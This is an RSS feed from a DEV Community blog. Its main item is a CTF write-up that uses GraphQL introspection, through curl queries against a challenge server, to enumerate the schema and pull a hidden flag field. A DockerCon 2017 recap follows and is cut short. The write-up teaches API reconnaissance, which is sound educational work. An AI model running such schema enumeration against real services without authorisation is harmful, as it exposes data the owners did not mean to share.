<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: hardword</title>
    <description>The latest articles on DEV Community by hardword (@hardword).</description>
    <link>https://dev.to/hardword</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F19276%2Fb036c070-9466-4a1a-8116-dc0a89651cb8.png</url>
      <title>DEV Community: hardword</title>
      <link>https://dev.to/hardword</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/hardword"/>
    <language>en</language>
    <item>
      <title>Fun with GraphQL Introspection </title>
      <dc:creator>hardword</dc:creator>
      <pubDate>Fri, 02 Oct 2020 01:23:18 +0000</pubDate>
      <link>https://dev.to/hardword/fun-with-graphql-introspection-2lbe</link>
      <guid>https://dev.to/hardword/fun-with-graphql-introspection-2lbe</guid>
      <description>&lt;p&gt;This post is a writeup of &lt;strong&gt;'funny-blogger'&lt;/strong&gt; challenge from &lt;a href="https://warmup1.cyberedu.ro/"&gt;Cyberedu Warm-up CTF #1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you access the challenge web page, you can find a jQuery script to fetch blog posts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/article=&lt;/span&gt;&lt;span class="se"&gt;([&lt;/span&gt;&lt;span class="sr"&gt;0-9&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;article&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;article&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;article&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ajax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;dataType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/query&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;contentType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allPosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;edges&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;article&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allPosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;edges&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;article&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{"query":"{allPosts{edges{node{title\nbody}}}}"}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post via &lt;code&gt;query&lt;/code&gt; end point and then show only the post that the article parameter is pointing, like &lt;code&gt;/article=1&lt;/code&gt;. #classicGraphQL&lt;/p&gt;

&lt;p&gt;And here is the &lt;code&gt;curl&lt;/code&gt; request to get all posts (or &lt;code&gt;node&lt;/code&gt;s).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://x.x.x.x:31325/query'&lt;/span&gt; &lt;span class="nt"&gt;--data-raw&lt;/span&gt; &lt;span class="s1"&gt;'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9'&lt;/span&gt; | jq &lt;span class="s1"&gt;'.data.allPosts.edges[0:2]'&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"node"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"title"&lt;/span&gt;: &lt;span class="s2"&gt;"Day #0 of happines!"&lt;/span&gt;,
      &lt;span class="s2"&gt;"body"&lt;/span&gt;: &lt;span class="s2"&gt;"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"node"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"title"&lt;/span&gt;: &lt;span class="s2"&gt;"Day #1 of happines!"&lt;/span&gt;,
      &lt;span class="s2"&gt;"body"&lt;/span&gt;: &lt;span class="s2"&gt;"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;There are 800 posts (&lt;code&gt;article=0&lt;/code&gt; through &lt;code&gt;article=799&lt;/code&gt;) with the same format for &lt;code&gt;title&lt;/code&gt;s and the same contents for &lt;code&gt;body&lt;/code&gt;s and there is obviously no sign of flag from a normal request.&lt;/p&gt;

&lt;p&gt;I jumped to check the &lt;em&gt;Introspection of GraphQL&lt;/em&gt; query [1][2], because why not, with a hope of there being something in &lt;code&gt;node&lt;/code&gt; object other than &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;body&lt;/code&gt; which "hopefully" will give me the flag. And here are the steps that I took toward the flag.&lt;/p&gt;

&lt;p&gt;Step 1. Checking all &lt;code&gt;type&lt;/code&gt;s from &lt;code&gt;__schema&lt;/code&gt; gives a name to check &lt;code&gt;PostObject&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"{__schema{types{name}}}"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://x.x.x.x:31325/query'&lt;/span&gt; &lt;span class="nt"&gt;--data-raw&lt;/span&gt; &lt;span class="s1"&gt;'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='&lt;/span&gt;

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"data"&lt;/span&gt;:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"__schema"&lt;/span&gt;:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"types"&lt;/span&gt;:[&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"Query"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"Node"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"ID"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"PostObjectConnection"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"PageInfo"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"Boolean"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"String"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"PostObjectEdge"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"PostObject"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"Int"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"UserObject"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"UserObjectConnection"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"UserObjectEdge"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__Schema"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__Type"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__TypeKind"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__Field"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__InputValue"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__EnumValue"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__Directive"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"__DirectiveLocation"&lt;/span&gt;&lt;span class="o"&gt;}]}}}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Step 2. Checking all &lt;code&gt;fields&lt;/code&gt;s from &lt;code&gt;PostObject&lt;/code&gt; type gives a list of &lt;code&gt;filed&lt;/code&gt; names.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"{__type(name:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;PostObject&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;){name&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;fields{name}}}"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://x.x.x.x:31325/query'&lt;/span&gt; &lt;span class="nt"&gt;--data-raw&lt;/span&gt; &lt;span class="s1"&gt;'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='&lt;/span&gt;

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"data"&lt;/span&gt;:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"__type"&lt;/span&gt;:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"PostObject"&lt;/span&gt;,&lt;span class="s2"&gt;"fields"&lt;/span&gt;:[&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"title"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"body"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"authorId"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"author"&lt;/span&gt;&lt;span class="o"&gt;}]}}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Step 3. &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;authorID&lt;/code&gt; do not dive anything special as &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;body&lt;/code&gt; did. But I found that &lt;code&gt;author&lt;/code&gt; is another type, &lt;code&gt;UserObject&lt;/code&gt;, which looks interesting, again because why not.&lt;/p&gt;

&lt;p&gt;Step 4. Checking all &lt;code&gt;fields&lt;/code&gt;s from &lt;code&gt;UserObject&lt;/code&gt; type gives an interesting field called &lt;code&gt;randomStr1ngtoInduc3P4in&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"{__type(name:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;UserObject&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;){name&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;fields{name}}}"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://x.x.x.x:31325/query'&lt;/span&gt; &lt;span class="nt"&gt;--data-raw&lt;/span&gt; &lt;span class="s1"&gt;'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='&lt;/span&gt;

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"data"&lt;/span&gt;:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"__type"&lt;/span&gt;:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"UserObject"&lt;/span&gt;,&lt;span class="s2"&gt;"fields"&lt;/span&gt;:[&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"randomStr1ngtoInduc3P4in"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"posts"&lt;/span&gt;&lt;span class="o"&gt;}]}}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Step 5. &lt;code&gt;randomStr1ngtoInduc3P4in&lt;/code&gt; gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"query"&lt;/span&gt;:&lt;span class="s2"&gt;"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://x.x.x.x:31325/query'&lt;/span&gt; &lt;span class="nt"&gt;--data-raw&lt;/span&gt; &lt;span class="s1"&gt;'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9'&lt;/span&gt; | jq &lt;span class="s1"&gt;'.data.allPosts.edges[0:2]'&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"node"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"author"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"randomStr1ngtoInduc3P4in"&lt;/span&gt;: &lt;span class="s2"&gt;"ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"node"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"author"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"randomStr1ngtoInduc3P4in"&lt;/span&gt;: &lt;span class="s2"&gt;"ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Step 6. Found the flag with &lt;code&gt;grep&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'http://x.x.x.x:31325/query'&lt;/span&gt; &lt;span class="nt"&gt;--data-raw&lt;/span&gt; &lt;span class="s1"&gt;'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9'&lt;/span&gt; | jq &lt;span class="s1"&gt;'.data.allPosts.edges'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'ECSC{.*}'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'harder'&lt;/span&gt;

ECSC&lt;span class="o"&gt;{&lt;/span&gt;b8e9be2eb35748a0aa...&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/NPDp7GHmMa0"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;[1] &lt;a href="https://graphql.org/learn/introspection/"&gt;https://graphql.org/learn/introspection/&lt;/a&gt;&lt;br&gt;
[2] &lt;a href="https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/"&gt;https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>graphql</category>
      <category>introspection</category>
      <category>2articles1week</category>
    </item>
    <item>
      <title>DockerCon 2017 recap</title>
      <dc:creator>hardword</dc:creator>
      <pubDate>Fri, 19 May 2017 02:39:26 +0000</pubDate>
      <link>https://dev.to/hardword/dockercon-2017-recap</link>
      <guid>https://dev.to/hardword/dockercon-2017-recap</guid>
      <description>&lt;p&gt;&lt;strong&gt;General&lt;/strong&gt;&lt;br&gt;
Docker Online Meetup: DockerCon 2017 Highlights Recap!&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=M2aL6IkcgPc"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FOYMIvEh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://img.youtube.com/vi/M2aL6IkcgPc/0.jpg" alt="https://youtu.be/M2aL6IkcgPc"&gt;&lt;/a&gt;&lt;/p&gt;

